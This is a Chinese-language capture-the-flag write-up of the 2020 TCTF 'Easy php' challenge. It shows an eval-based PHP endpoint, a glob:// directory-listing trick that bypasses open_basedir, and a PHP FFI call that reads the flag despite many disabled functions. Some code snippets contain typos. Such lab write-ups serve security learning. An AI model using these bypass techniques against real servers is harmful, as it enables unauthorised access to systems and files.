2020 TCTF Writeup

不愧是国内质量第一的CTF,一道题都没做出来😊。

Easy php

当时只看了看这一道,给了源代码

1
2
3
4
5
6
<?php
if(sset($_GET['rh']) {
eval($_GET['rh']);
}else {
show_source(__FILE__);
}

尝试了一下,基本上危险的命令都被ban了,phpinfo()到是可以执行,里面看到了很多disable_functions。网上找了很多关于bypass的文章,感觉都用不上。ban掉的函数如下

1
set_time_limit,ini_set,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,system,exec,shell_exec,popen,proc_open,passthru,symlink,link,syslog,imap_open,ld,mail,putenv,error_log,dl

有点忘了我当时怎么做的,反正也是列出了目录,大佬的wp了用的方法如下,绕过open_basedir的限制,原理在这

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
$file_list = array();
$it = new DirectoryIterator("glob:///*");
// 新建一个目录迭代器
foreach ($it as $f){
$file_list[] = $f->__toString();
}

$it = new DirectoryIterator("glob:///.*");
foreach ($it as $f){
$file_list[] = $f->__toString();
}
sort($file_list);
foreach ($file_list as $f){
echo "{$f}
";
}

在根目录下找到两个关键文件flag.hflag.so。大佬说因为题目不熟的问题,open_basedir经常会被置空,可以直接file_get_contents('flag.h')。看到flag.h中定义了flag的c函数,php7.4可以使用FFI调用c函数

FFI-Foreign Function Interface,允许调用一些c的数据结构和函数。

1
2
3
4
5
6
<?php
$ffi = FFI::load('/flag.h');
$a = $ffi->flag_fUn3t1on_fFi();
for($i=0;$i<100;$i++) {
echo echo($a[$i]);
}

noeasy php

和上一道题一样,php升级到了7.4.7版本,更换了Server API,大量增加了disable functions。不过恕我直言,前两个升级我不知道有啥用。这道题同样还可以列目录,目录下同样存在flag.hflag.so两个文件。